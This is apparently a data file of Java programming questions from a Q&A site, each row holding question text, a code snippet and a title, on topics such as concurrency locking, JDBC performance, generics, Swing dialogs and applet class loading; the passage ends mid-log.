It is important to note that a unique B object is only put once in any A object : This way we can have multiple objects for class A and B in the CACHE.Scenario : Now multiple threads access this CACHE but some of them end up to get class A objects and others class B objects depending upon ID specified by user . These threads actually want to read or update information on these objects.Question : My requirement is when a thread has accessed an object of class A ( for example a1 ) to update it then no other thread should be able to read or update a1 as well as all class B objects ( b1 and b2 in this case ) which are added to the List < B > inside object a1 until I am finished with all updates on a1 . Please tell me how can I acquire a lock in this scenario ?","class A { private String id ; private List < B > bs = new ArrayList < B > ( ) ; A ( String id ) { this.id = id ; } public List < B > getBs ( ) { return bs ; } public void setBs ( List < B > bs ) { this.bs=bs ; } public void addBs ( List < B > bs ) { this.bs.addAll ( bs ) ; } public void addB ( B b ) { this.bs.add ( b ) ; } } class B { private String id ; private List < String > tags ; B ( String id ) { this.id = id ; } public List < String > getTags ( ) { return tags ; } public void setTags ( List < String > tags ) { this.tags = tags ; } public void addTags ( List < String > tags ) { this.tags.addAll ( tags ) ; } public void addTag ( String tag ) { this.tags.add ( tag ) ; } } class CacheService { private static final ConcurrentHashMap < String , Object > CACHE = new ConcurrentHashMap < String , Object > ( ) ; public static Object get ( String id ) { return CACHE.get ( id ) ; } public static void put ( String id , Object obj ) { return CACHE.put ( id , obj ) ; } } A a1 = new A ( `` 10 '' ) ; CacheService.put ( `` 10 '' , a1 ) ; A a2 = new A ( `` 11 '' ) ; CacheService.put ( `` 11 '' , a2 ) ; B b1 = new B ( `` 1 '' ) ; CacheService.put ( `` 1 '' , b1 ) ; B b2 = new B ( `` 2 '' ) ; CacheService.put ( `` 2 '' , b2 ) ; B b3 = new B ( `` 3 '' ) ; CacheService.put ( `` 3 '' , b3 ) ; B b4 = new B ( `` 4 '' ) ; CacheService.put ( `` 4 '' , b4 ) ; a1.add ( b1 ) ; a1.add ( b2 ) ; a2.add ( b3 ) ; a2.add ( b4 ) ;",Object deep locking in multithreading environment +Java,"I have a stored procedure in Oracle 11g that I 'm calling from a Java program using the Oracle thin database driver and a CallableStatement . This stored procedure is invoked thousands of times in a loop on the same connection.The callableStatement.execute ( ) call returns in < 200ms for the first 10-20 calls , however , performance starts to degrade over time . After 200 calls , callableStatement.execute ( ) is now taking 600ms , and continues to degrade.If I close the connection periodically , execute times return to the normal < 200ms range . Clearly something is being cached incorrectly in the JDBC connection , although the documentation states that CallableStatements are not cached.Running the same stored procedure using the Oracle OCI driver in a C program shows no performance degradation , and continuously returns in < 200ms.Has anyone noticed this behavior or have any thoughts on a workaround for Java ? Edit : This is the section of code that is run numerous times ; Connection is shared , CallableStatement is created each loop . No improvement if CallableStatement is cached .","oracle_conn_time = System.currentTimeMillis ( ) ; OracleConnection oracle_conn = ( OracleConnection ) conn.getMetaData ( ) .getConnection ( ) ; oracle_conn.setStatementCacheSize ( 1 ) ; oracle_conn_time = System.currentTimeMillis ( ) - oracle_conn_time ; list_time = System.currentTimeMillis ( ) ; var_args= oracle_conn.createARRAY ( `` ARG_LIST '' , args.toArray ( ) ) ; list_time = System.currentTimeMillis ( ) - list_time ; sql = `` { ? = call perform_work ( ? , ? , ? , ? ) } '' ; prepare_time = System.currentTimeMillis ( ) ; ocs = ( OracleCallableStatement ) oracle_conn.prepareCall ( sql ) ; prepare_time = System.currentTimeMillis ( ) - prepare_time ; bind_time = System.currentTimeMillis ( ) ; ocs.registerOutParameter ( 1 , OracleTypes.ARRAY , `` RESPONSEOBJ '' ) ; ocs.setInt ( 2 , 77 ) ; ocs.setInt ( 3 , 123456 ) ; ocs.setArray ( 4 , var_args ) ; ocs.setInt ( 5 , 123456789 ) ; bind_time = System.currentTimeMillis ( ) - bind_time ; //execute_time is the only timer that shows degradationexecute_time = System.currentTimeMillis ( ) ; ocs.execute ( ) ; execute_time = System.currentTimeMillis ( ) - execute_time ; results_time = System.currentTimeMillis ( ) ; Array return_objs = ocs.getArray ( 1 ) ; results_time = System.currentTimeMillis ( ) - results_time ; oracle_time = System.currentTimeMillis ( ) - oracle_time ; parse_time = System.currentTimeMillis ( ) ; Clob [ ] clobs = ( Clob [ ] ) return_objs.getArray ( ) ; return_objs.free ( ) ; //Removed clob management codeparse_time = System.currentTimeMillis ( ) - parse_time ;",Performance Degradation on CallableStatement +Java,I was wondering if there is any way to achieve the following within a single iteration over the array . Simply to have two different results out of stream .,double sum = Arrays.stream ( doubles ) .sum ( ) ; double sumOfSquares = Arrays.stream ( doubles ) .map ( d - > d * d ) .sum ( ) ;,Computing sum and sum-of-squares at the same time with Streams +Java,I need to make only leaves of a JTree draggable but the following code snippets makes every node in the tree draggable : How can I restrict the draggable element to specific informationen of a tree node like the property myNode.isLeaf ( ) ; tia jaster,tree.setDragEnabled ( true ) ;,JTree make only leaves draggable +Java,"I am working on an android app that loads in a list of students to display in a list based activity . There are two components to the app . There is a server which responds via xml with the list of current active students and a database on the app end which stores theses students with some details ( name , age etc ) . I would like a way to sync these two data sources . When the app starts , I would like to check against the xml to see if students on the server were added/deleted and update the db accordingly.I would be parsing the xml list into a student object at login . Is there any way to store/retrieve an entire object into an android supported db so I can do a direct comparison to see what to update/delete ? It would end up being something like What is the most efficient/lightweight way to achieve object persistance and then comparison in Android ?",if ( serverStudent [ 0 ] .name == dbStudent [ 0 ] .name ) //overwrite dbStudent object with serverStudent fields,Storing and comparing against objects from a database +Java,"I 'm having trouble parsing xml with simple xml framework . I want to store category id and list of tournaments inside a Map/hashMap how can I do that ? I followed the tutorial on simple xml but it doesnt work for me.I stored it in a list like this : but now I wan na store it in a map.Here is xml : Tutorial that I followed : Any help would be appreciated , tnx .","@ ElementList ( entry = `` Category '' , inline = true , required = false ) List < Category > category ;",How to parse XML and store it in a Map with SimpleXML ? +Java,I am trying to make a full triangle with any text input . Example if I have string that is `` abcdefghij '' I want the result to be if the string length is odd as in `` abcdefghij '' then the output would beHere is what I have so far but my output for the words is upside down . My output isWhat I have done so farI just need a suggestion on how to start from aj instead of the end . Thanks for any help . This is homework so just a hint is appreciated .,"aj abij abchij abcdghijabcdefghij a abi abchi abcdghiabcdefghi abcdefghij abcdghij abchij abijaj public static void main ( String [ ] args ) { solve ( `` abcdefghij '' ) ; } public static void solve ( String word ) { solve ( word , word.length ( ) /2-1 ) ; } public static void solve ( String word , int it ) { // print starting spaces for ( int i = 0 ; i < it ; i++ ) System.out.print ( `` `` ) ; // print out string System.out.print ( word+ '' \n '' ) ; if ( word.length ( ) > 2 ) { int newlengthperside = ( word.length ( ) - 2 ) /2 ; solve ( word.substring ( 0 , newlengthperside ) + word.substring ( word.length ( ) - newlengthperside ) , it-1 ) ; } }",Text Pyramid using recursion in Java +Java,"Trying to tail / parse some log files . Entries start with a date then can span many lines.This works , but does not ever see new entries to file.Does n't seem like Scanner 's next ( ) or hasNext ( ) detects new entries to file . Any idea how else I can implement , basically , a tail -f with custom delimiter.ok - using Kelly 's advise i 'm checking & refreshing the scanner , this works . Thank you ! ! if anyone has improvement suggestions plz do !",File inputFile = new File ( `` C : /test.txt '' ) ; InputStream is = new FileInputStream ( inputFile ) ; InputStream bis = new BufferedInputStream ( is ) ; //bis.skip ( inputFile.length ( ) ) ; Scanner src = new Scanner ( bis ) ; src.useDelimiter ( `` \n2010-05-01 `` ) ; while ( true ) { while ( src.hasNext ( ) ) { System.out.println ( `` [ `` + src.next ( ) + `` ] '' ) ; } } File inputFile = new File ( `` C : /test.txt '' ) ; InputStream is = new FileInputStream ( inputFile ) ; InputStream bis = new BufferedInputStream ( is ) ; //bis.skip ( inputFile.length ( ) ) ; Scanner src = new Scanner ( bis ) ; src.useDelimiter ( `` \n2010-05-01 `` ) ; while ( true ) { while ( src.hasNext ( ) ) { System.out.println ( `` [ `` + src.next ( ) + `` ] '' ) ; } Thread.sleep ( 50 ) ; if ( bis.available ( ) > 0 ) { src = new Scanner ( bis ) ; src.useDelimiter ( `` \n2010-05-01 `` ) ; } },Java Scanner wo n't follow file +Java,"I 'll first quickly motivate the question with my use case . My library needs to expose a Java exception classifier to a framework which it plugs in to . For example : Sometimes , and for reasons out of my control , the passed exception is a wrapper around the one I 'm interested in so I want to search the cause chain for it . My initial idea was : Unfortunately , this could result in infinite recursion if the passed exception has a cycle in its causal chain . It 's highly unlikely that such an exception will be passed , and an argument could be made that it 's an error elsewhere in the system if such an exception is created , but I 'm very uncomfortable with having the possibility of my library being responsible for a production outage if it happens . Throwable 's API and javadoc do not explicitly forbid this possibility beyond the idea that cycles are inherently nonsensical in a causal chain.I noticed that Guava has a @ Beta method to extract the causal chain , Throwables.getCausalChain , but its implementation is susceptible to the same issue -- it will wind up throwing an OOME.I 'm planning to use an identity hash set to detect the cycle and mitigate the risk , but I wanted to hear how others view this issue . Do you think I 'm being overly defensive ? What would you do ?","enum Classification { FATAL , TRANSIENT , UNKNOWN } Classification classify ( Throwable t ) { if ( t instanceof MyTransientException ) return Classification.TRANSIENT ; else if ( t instanceof MyFatalException ) return Classification.FATAL ; else return Classification.UNKNOWN ; } Classification classify ( Throwable t ) { if ( t == null ) return Classification.UNKNOWN ; if ( t instanceof MyTransientException ) return Classification.TRANSIENT ; else if ( t instanceof MyFatalException ) return Classification.FATAL ; else return classify ( t.getCause ( ) ) ; }",Cycles in chained exceptions +Java,I want to use auto-value with firebase 9.2.0+ . I have the following code : But when I make to call this Office office = childDataSnapshot.getValue ( Office.class ) ; I am getting this error : Somebody have an idea why I am getting this error and how to solve it ? I read that firebase is no longer using jackson for json serialization . So I am not sure how to specify a kind of @ JsonProperty ( `` latitud '' ) I have used @ PropertyName unsuccessfully.I also tried rename the abstract methods like public abstract double getLatitud ( ) ; and after that the error is the next one : So I am not sure how to solve this.SOLUTIONThanks to hatboysam and Frank van Puffelen I finally could face this problem with the next solution.I created a FirebaseUtil enum with two methods for serialize and deserialize objects for Firebase based on hatboysam answer and Frank van Puffelen comment.I create a couple of User and Phone classes for testing.Dependencies : Usage example :,"@ AutoValuepublic abstract class Office { public static Builder builder ( ) { return new AutoValue_Office.Builder ( ) ; } public abstract double latitud ( ) ; public abstract double longitud ( ) ; @ AutoValue.Builder public static abstract class Builder { public abstract Builder latitud ( double latitud ) ; public abstract Builder longitud ( double longitud ) ; public abstract Office build ( ) ; } } com.google.firebase.database.DatabaseException : No properties to serialize found on class com.example.app.model.Office java.lang.InstantiationException : Ca n't instantiate abstract class com.example.app.model.Office compile 'com.fasterxml.jackson.core : jackson-annotations:2.8.0'compile 'com.fasterxml.jackson.core : jackson-databind:2.8.0 ' User user = FirebaseUtil.deserialize ( dataSnapshot , User.class ) ; Map < String , Object > map = FirebaseUtil.serialize ( user ) ;",How to use auto-value with firebase 9.2 in Android +Java,I have a main frame and a second frame and a modal dialog with the main frame as parent.But now are both frames blocked by the modal dialog . How can I let the second frame accessable while the main frame has a modal dialog ?,"public class Example extends JFrame { public Example ( ) { super ( `` MainFrame '' ) ; JButton btn1 = new JButton ( new AbstractAction ( `` Frame '' ) { @ Override public void actionPerformed ( ActionEvent e ) { EventQueue.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { JFrame f = new JFrame ( `` Frame '' ) ; f.getContentPane ( ) .add ( new JLabel ( `` This shoud be not blocked by ModalDialog . '' ) ) ; f.setLocation ( 50 , 200 ) ; f.setSize ( 300 , 200 ) ; f.setVisible ( true ) ; } } ) ; } } ) ; JButton btn2 = new JButton ( new AbstractAction ( `` Modal '' ) { @ Override public void actionPerformed ( ActionEvent e ) { EventQueue.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { JDialog d = new JDialog ( Example.this , `` Dialog '' ) ; d.getContentPane ( ) .add ( new JLabel ( `` This shoud block only MainFrame . '' ) ) ; d.setModal ( true ) ; d.setLocation ( 50 , 100 ) ; d.setSize ( 300 , 200 ) ; d.setVisible ( true ) ; } } ) ; } } ) ; setDefaultCloseOperation ( EXIT_ON_CLOSE ) ; getContentPane ( ) .setLayout ( new BorderLayout ( ) ) ; getContentPane ( ) .add ( btn1 , BorderLayout.NORTH ) ; getContentPane ( ) .add ( new JLabel ( `` MainFrame '' ) , BorderLayout.CENTER ) ; getContentPane ( ) .add ( btn2 , BorderLayout.SOUTH ) ; setLocation ( 50 , 50 ) ; setSize ( 200 , 150 ) ; btn1.doClick ( ) ; btn2.doClick ( ) ; } public static void main ( String [ ] args ) { EventQueue.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { new Example ( ) .setVisible ( true ) ; } } ) ; } }",How to let Modal Dialog not block my second top-level Frame +Java,"I am using java `` 1.6.0_24 '' OpenJDK . Sometimes when I run my program , all that I get is a message Some other times , the program runs perfectly fine.Is there some set of options that I can add to get more verbose output as to the exact error ( maybe even something similar to a core dump ? ) .This is probably not related to the heap size since in that case , it does give a definite and clear error message like : -This I could fix with setting -Xms and -Xmx appropriately . However , the JVM quitting without printing anything else at all is very unhelpful.Just to clarify , my question is about coaxing more verbose error messages or some sort of status files / core dumps which I can then use for debugging .",Could not create the Java virtual machine. '' . Error occurred during initialization of VMCould not reserve enough space for object heapCould not create the Java virtual machine .,Could not create java VM -- - how do I get more verbose error messages ? +Java,"I 've been reading up on type classes in Scala and thought I had a good grasp on it , until I remembered Java 's java.util.Comparator.If I understand properly , Ordering is the prototypical example of a type class . The only difference I can think of between a Comparator and an instance of Ordering is that comparators are necessarily explicit , while orderings can be , and often are , implicit.Is Comparator a type class ? I get the ( mistaken ? ) impression that Java does not actually have type classes . Does this mean that a type class needs to be able to be implicit ? I considered implicit conversions of type classes to be mostly syntactic sugar - awesome as it is , it 's `` simply '' giving the compiler enough hint - was I missing something ? The following code example shows how Comparator adds an ordering operation to a type that did n't have it , without having to modify said type .","// Comparator used to retroactively fit the MyExample class with an ordering operation.public static class MyExampleComparator implements Comparator < MyExample > { public static final Comparator < MyExample > SINGLETON = new MyExampleComparator ( ) ; private MyExampleComparator ( ) { } public int compare ( MyExample a , MyExample b ) { return a.value - b.value ; } } // Custom type , its only purpose is to show that Comparator can add an ordering operation to it when it doesn't// have one to begin with.public static class MyExample { private final int value ; public MyExample ( int v ) { value = v ; } public String toString ( ) { return Integer.toString ( value ) ; } } public static void main ( String ... args ) { List < MyExample > list = new ArrayList < MyExample > ( ) ; for ( int i = 0 ; i < 10 ; i++ ) list.add ( new MyExample ( -i ) ) ; // Sorts the list without having had to modify MyExample to implement an interface . Collections.sort ( list , MyExampleComparator.SINGLETON ) ; // Prints the expected [ -9 , -8 , -7 , -6 , -5 , -4 , -3 , -2 , -1 , 0 ] System.out.println ( list ) ; }",Is Comparator a type class ? +Java,"I 'm currently reading Java Generics , and I am a bit stuck when it comes to Wildcards.I have been given this method from the Collections class : I have then been told that it is possible to call the method like this : As the type parameter has been left to the compiler to determine , the book says the compiler chooses the type parameter to be Integer.But how is that possible ? If it were taken to be Integer , this would mean that in the method declaration -List < ? extends T > would translate to List < Integer extends Integer > .Is this a mistake , or are there different rules when regarding Generics ? I have googled around and the majority of results say that a class can not be a subclass of itself .","public void < T > copy ( List < ? super T > dest , List < ? extends T > src ) { for ( int i = 0 ; i < src.size ( ) ; i++ ) { dest.set ( i , src.get ( i ) ) ; } } List < Object > objs = new ArrayList < Object > ( ) ; List < Integer > ints = new ArrayList < Integer > ( ) ; Collections.copy ( objs , ints ) ;",Java Generics - Class a Subclass of itself ? +Java,"I 'm crafting code to implement this algorithm : However , I 'm getting this error , even with MathContext ( 1000 ) : While using this method : I have proven that factorial ( a ) ; and exponent ( a , b ) return the factorial of a and the result of a^b respectively , accurately.Does anyone know how to fix this ?","Exception in thread `` main '' java.lang.ArithmeticException : Non-terminating decimal expansion ; no exact representable decimal result.at java.math.BigDecimal.divide ( BigDecimal.java:1603 ) at picalculator.PiCalculator.calculatePi ( PiCalculator.java:59 ) at picalculator.PiCalculator.main ( PiCalculator.java:25 ) Java Result : 1 public static void calculatePi ( ) { BigInteger firstFactorial ; BigInteger secondFactorial ; BigInteger firstMultiplication ; BigInteger firstExponent ; BigInteger secondExponent ; int firstNumber = 1103 ; BigInteger firstAddition ; BigDecimal currentPi = BigDecimal.ONE ; BigDecimal pi = BigDecimal.ONE ; BigDecimal one = BigDecimal.ONE ; int secondNumber = 2 ; double thirdNumber = Math.sqrt ( 2.0 ) ; int fourthNumber = 9801 ; BigDecimal prefix = BigDecimal.ONE ; for ( int i=1 ; i < 4 ; i++ ) { firstFactorial = factorial ( 4*i ) ; secondFactorial = factorial ( i ) ; firstMultiplication = BigInteger.valueOf ( 26390*i ) ; firstExponent = exponent ( secondFactorial , 4 ) ; secondExponent = exponent ( BigInteger.valueOf ( 396 ) ,4*i ) ; firstAddition = BigInteger.valueOf ( firstNumber ) .add ( firstMultiplication ) ; currentPi = currentPi.add ( new BigDecimal ( firstFactorial.multiply ( firstAddition ) ) .divide ( new BigDecimal ( firstExponent.multiply ( secondExponent ) ) , new MathContext ( 10000 ) ) ) ; } prefix =new BigDecimal ( secondNumber*thirdNumber ) ; prefix = prefix.divide ( new BigDecimal ( fourthNumber ) , new MathContext ( 1000 ) ) ; currentPi = currentPi.multiply ( prefix , new MathContext ( 1000 ) ) ; pi = one.divide ( currentPi ) ; System.out.println ( `` Pi is : `` + pi ) ; return ; }",Non-Terminating Decimal Error Even With MathContext +Java,"I want to create an iterator class which allows me to iterate through lists with generic types ( e.g . lst1 integer , lst2 string ) one item after another.For this I have to consider the following given situation.The interface is a generic Iterator . This part of the code can not be modified.The list class is also defined as following . The most important , a list object can return a iterator object with the method getIterator ( ) . This part of the code can not be modified.Lets assume both list have the same type and for now they have also the same length . I tried to create a class with two iterator objects and used the methods of the iterator objects to implement the interface Iterator . This part of the code is created by me and can be modified.This works fine for two list with the same type . Here is the code and the output I used for the test : Output : Now I want to implement the ZipIterator in a generic way , so I can use two lists with different types of items ( e.g . integer and string ) . I know I have to change the class ZipIterator so the method next ( ) returns a generic type but I do n't know how.This is a university task i have to do and the prof has left a hint `` use wild cards like : ? extends T , ? super T , ? extends Object '' . But with the wild cards i can only specify the types in or against the inherits direction , right ? Is this possible to change the ZipIterator class that way so it accepts two iterator objects with different types ?","interface Iterator < E > { E next ( ) ; boolean hasNext ( ) ; } class List < T > { class ListNode { T val ; ListNode next ; ListNode ( T v ) { val = v ; next = null ; } } ListNode head ; List ( ListNode hd ) { head = hd ; } List ( ) { this ( null ) ; } void prepend ( T val ) { ListNode p = new ListNode ( val ) ; p.next = head ; head = p ; } //some other methodsclass ListIterator implements Iterator < T > { ListNode pos ; ListIterator ( ) { pos = head ; } public T next ( ) { T res = pos.val ; pos = pos.next ; return res ; } public boolean hasNext ( ) { return pos ! = null ; } } Iterator < T > getIterator ( ) { return this.new ListIterator ( ) ; } } class ZipIterator < T > implements Iterator < T > { int counter ; Iterator < T > first ; Iterator < T > second ; ZipIterator ( Iterator < T > f , Iterator < T > s ) { first = f ; second = s ; counter = 0 ; } public T next ( ) { if ( counter % 2 == 0 ) { counter++ ; return first.next ( ) ; } else { counter++ ; return second.next ( ) ; } } public boolean hasNext ( ) { if ( counter % 2 == 0 ) return first.hasNext ( ) ; else return second.hasNext ( ) ; } } class IteratorUtils { public static void main ( String [ ] args ) { List < Integer > lst1 = new List < > ( ) ; List < Integer > lst2 = new List < > ( ) ; lst1.prepend ( 3 ) ; lst1.prepend ( 2 ) ; lst1.prepend ( 1 ) ; lst2.prepend ( 8 ) ; lst2.prepend ( 9 ) ; lst2.prepend ( 10 ) ; Iterator < Integer > it1 = lst1.getIterator ( ) ; Iterator < Integer > it2 = lst2.getIterator ( ) ; ZipIterator < Integer > zit = new ZipIterator < > ( it1 , it2 ) ; while ( zit.hasNext ( ) ) { System.out.println ( zit.next ( ) ) ; } } } 1102938",How to iterate through two generic lists with different types one item after another in java ? +Java,"The java.lang.Double.parseValue method handles strangely-crafted representations of doubles in an inconsistent way.If you write a very large number , so large that it is outside of double 's range , but then append a large negative exponent to bring it back in range , you end up in range ( illustrated here in Scala 's REPL ) : On the other hand , if you write a very tiny number , so small that it is outside of double 's range , but then use a large positive exponent to bring it back in range , it only works if the exponent itself is not too large : Is this simply a bug , or is there a spec somewhere that allows this behavior , or are all of these allowed by spec to fail and one should just thank one 's blessings when one gets the correct result ? ( If it 's a bug , has it been fixed ? ) ( Aside : I was writing custom String-to-double code and was going to defer to the Java default implementation for tricky cases , but this test case failed . )",scala > java.lang.Double.parseDouble ( `` 10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001e-400 '' ) res25 : Double = 1.0E-21 scala > java.lang.Double.parseDouble ( `` 0.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001e400 '' ) res26 : Double = Infinityscala > java.lang.Double.parseDouble ( `` 0.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001e200 '' ) res27 : Double = 1.0E-179,Is this Java double-parsing behavior according to spec ? +Java,"I 'm developing an applet that behaves strangely : this is not the usual `` I ca n't start my applet in the browser '' problem , but something more subtle . The applet consists into a jtabbedpane with 8 tabs , each of which does some data manipulation in the workflow , and the user has two buttons ( back and forward ) to cycle through tabs.When I run it into the browser ( latest chrome or firefox , but this does n't matter ) I notice a consistent slowdown when passing from the 7th to the 8th tab : in the latter I put a jtable with a custom tablemodel in that tab and in eclipse it runs just fine . A few debug steps later I notice that the jvm throws a classnotfoundexception for the class RateTableModel , which is my custom tablemodel . The odd thing is that even though I test the applet both in the IDE and as a self signed applet into the browser that exception is never thrown in any console . I verified everywhere : there are no empty catch blocks , every exception gets always its stackstrace printed and if I put the initialization code of my tablemodel in a try/catch block that exception never gets caught . The even funnier thing is that after a random amount of time the execution continues as if nothing happened ( only in the IDE this time ) , whereas in the browser the GUI acts just like a normal exception : it messes everything up.What I would like to ask is for any idea on why this happens.The class RateTableModel is located in the package geotel.utils , where I have other classes I regularly instantiate before I have to load this one , and I verified that this class is present in the jar.Details on the development ( maybe for those who read this can be useful ) : The applet is signed using the commandthe applet is run from the following html file : The JNLP file is the following : The code that causes the ClassNotFoundException is the following : class DatiRatePaneland the definition of the class RateTableModel isEDIT : after a few more debug steps , I found that in the debug view there is the situation in the screenshotI absolutely have no idea what those keys stand for , but if I keep pressing F5 ( Step into ) those keys go away , the very following step the execution continues and the classloader magically becomes able to find the class RateTableModel . How can I get rid of this ? Thank you ! EDIT2 : I researched a bit on the keys icons in the Eclipse documentation , and it found out they are monitors on locked objects . As far as I know monitors appear where there are synchronized blocks of code , which I do n't have here ( and I 'm sure those blocks are n't called ) . It 's getting me mad ... EDIT3 : I tried putting some printlns about how much time each instruction needed , following is the source code and the output . I do n't understand why the times are `` reset '' ( or so it seems ) in print 2 and 4 , it seems like there are more threads which do n't see the time variable initialized ( but it 's not possible ! ) .Output : EDIT4 : activated level 5 in the java plugin console and this is what I got : What I can understand here is that after that classloader searches for the inner class ButtonsCellRenderer it starts this flooding ( that eventually blocks everything in the webpage , including the java console ) . Can this problem be caused by the fact it is an inner class ? As Joop Eggen asked , I 'm posting the code of my JTable . package geotel.utils ;","jarsigner -keystore keystore3 C : \GestioneOneri.jar me3 < html > < head > < meta http-equiv= '' Content-Type '' content= '' text/html ; charset=ISO-8859-1 '' > < title > Titolo < /title > < /head > < body > < script src= '' http : //www.java.com/js/deployJava.js '' > < /script > < script > var attributes = { code : 'geotel.gui.Login.class ' , archive : 'GestioneOneri.jar , mysql-connector-java-5.1.20-bin.jar , poi-3.9-20121203.jar , forms-1.3.0.jar ' , width:1024 , height:700 } ; var parameters = { jnlp_href : 'gestioneoneri.jnlp ' , portalUrl : 'http : //192.168.146.145:8080/GestioneOneriServlet ' , nomeUtente : '' , numeroPratica : '' , percorsoFileCalcoloOneri : '' / '' , nomeFileCalcoloOneri : '' calcoloOneri.xls '' } ; var version = ' 1.6 ' ; deployJava.runApplet ( attributes , parameters , version ) ; < /script > < noscript > This page requires JavaScript. < /noscript > < /body > < /html > < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < jnlp href= '' gestioneoneri.jnlp '' > < information > < title > Gestione Oneri Urbanistici < /title > < vendor > Geotel soc . coop. < /vendor > < offline-allowed / > < /information > < resources > < j2se version = '' 1.6+ '' initial-heap-size= '' 128m '' max-heap-size= '' 1024m '' href= '' http : //java.sun.com/products/autodl/j2se '' / > < jar href= '' GestioneOneri.jar '' main= '' true '' / > < jar href= '' mysql-connector-java-5.1.20-bin.jar '' / > < jar href= '' poi-3.9-20121203.jar '' / > < jar href= '' forms-1.3.0.jar '' / > < /resources > < applet-desc name= '' Gestione Oneri Urbanistici '' main-class= '' geotel.gui.Login '' width= '' 1024 '' height= '' 700 '' / > < /jnlp > this.tm = new geotel.utils.RateTableModel ( columnNames , oneriPratica , rate , rateizzazioniPreviste ) ; public class RateTableModel extends AbstractTableModel Long time = System.currentTimeMillis ( ) ; this.tm = new RateTableModel ( columnNames , oneriPratica , rate , rateizzazioniPreviste ) ; time = System.currentTimeMillis ( ) - time ; System.out.println ( `` DatiRatePanel2.populatePanel ( ) 1 time : `` + time ) ; rateTable = new MyTable ( tm , columnModel , this ) ; time = System.currentTimeMillis ( ) - time ; System.out.println ( `` DatiRatePanel2.populatePanel ( ) 2 time : `` + time ) ; table = new ExcelAdapter ( rateTable ) ; time = System.currentTimeMillis ( ) - time ; System.out.println ( `` DatiRatePanel2.populatePanel ( ) 3 time : `` + time ) ; scrollPane = new JScrollPane ( rateTable ) ; time = System.currentTimeMillis ( ) - time ; System.out.println ( `` DatiRatePanel2.populatePanel ( ) 4 time : `` + time ) ; scrollPane.getVerticalScrollBar ( ) .setUnitIncrement ( 10 ) ; this.add ( scrollPane , `` 1 , 3 , fill , fill '' ) ; aggiornaTotali ( ) ; this.invalidate ( ) ; this.validate ( ) ; this.repaint ( ) ; time = System.currentTimeMillis ( ) - time ; System.out.println ( `` DatiRatePanel2.populatePanel ( ) 5 time : `` + time ) ; DatiRatePanel2.populatePanel ( ) 1 time : 2DatiRatePanel2.populatePanel ( ) 2 time : 1364288266968DatiRatePanel2.populatePanel ( ) 3 time : 2DatiRatePanel2.populatePanel ( ) 4 time : 1364288266969DatiRatePanel2.populatePanel ( ) 5 time : 3 DettagliPratichePanel.updateObjects ( ) impostazione onerinetwork : Connessione a http : //192.168.146.145:8080/GestioneOneriServlet/findWhereNomeConfigurazioneEqualsConfRateizzazioni con proxy=DIRECTnetwork : Connessione a http : //192.168.146.145:8080/GestioneOneriServlet/findWhereNomeConfigurazioneEqualsConfRateizzazioni con proxy=DIRECTnetwork : Connessione a http : //192.168.146.145:8080/GestioneOneriServlet/findWhereNomeConfigurazioneEqualsConfRateizzazioni con proxy=DIRECTnetwork : Connessione a http : //192.168.146.145:8080/GestioneOneriServlet/findWhereNomeConfigurazioneEqualsConfRateizzazioni con proxy=DIRECTnetwork : Connessione a http : //192.168.146.145:8080/GestioneOneriServlet/findByConfRateizzazioniConfRata con proxy=DIRECTnetwork : Connessione a http : //192.168.146.145:8080/GestioneOneriServlet/findByConfRateizzazioniConfRata con proxy=DIRECTnetwork : Connessione a http : //192.168.146.145:8080/GestioneOneriServlet/findByConfRateizzazioniConfRata con proxy=DIRECTnetwork : Connessione a http : //192.168.146.145:8080/GestioneOneriServlet/findByConfRateizzazioniConfRata con proxy=DIRECTDettagliPratichePanel.updateObjects ( ) polizzabasic : JNLP2ClassLoader.findClass : geotel.utils.RateTableModel : try again ..DatiRatePanel2.populatePanel ( ) 1 time : 2DatiRatePanel2.populatePanel ( ) 3 time : 1364309403101DatiRatePanel2.populatePanel ( ) 4 time : 3DatiRatePanel2.populatePanel ( ) 5 time : 1364309403102basic : JNLP2ClassLoader.findClass : geotel.utils.MyTable $ ButtonsCellRenderer : try again .. -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- Here starts troublenetwork : Connessione a http : //192.168.146.129:8091/Scia/sportello-unico-edilizia/archivio-pratiche-edilizie/permesso_di_costruire.2012-10-25.0455740504/portal_url/++resource++java/GestioneOneri.jar con proxy=DIRECTnetwork : Connessione a http : //192.168.146.129:8091/ con proxy=DIRECTnetwork : Connessione http : //192.168.146.129:8091/Scia/sportello-unico-edilizia/archivio-pratiche-edilizie/permesso_di_costruire.2012-10-25.0455740504/portal_url/++resource++java/GestioneOneri.jar con cookie `` __ac= '' Qt/t/I4Nt7/qj0H5vhUrqR+ZrJYgcHJvZ2V0dGlzdGEx '' ; _ZopeId= '' 97847822A52RRctuIzM '' '' network : CleanupThread used 1 usnetwork : Scaricamento risorsa : http : //192.168.146.129:8091/Scia/sportello-unico-edilizia/archivio-pratiche-edilizie/permesso_di_costruire.2012-10-25.0455740504/portal_url/++resource++java/GestioneOneri.jar Content-Length : 1.940.942 Content-Encoding : nullnetwork : URL http : //192.168.146.129:8091/Scia/sportello-unico-edilizia/archivio-pratiche-edilizie/permesso_di_costruire.2012-10-25.0455740504/portal_url/++resource++java/GestioneOneri.jar scritto su file C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-15459ea4-tempsecurity : File lista librerie sicure non trovatocache : Create from verifier : JarSigningData { hasOnlySignedEntries=true , hasSingleCodeSource=true , hasMissingSignedEntries=false } network : CleanupThread used 2 uscache : Replacing MemoryCache entry ( cnt=2 ) for http : 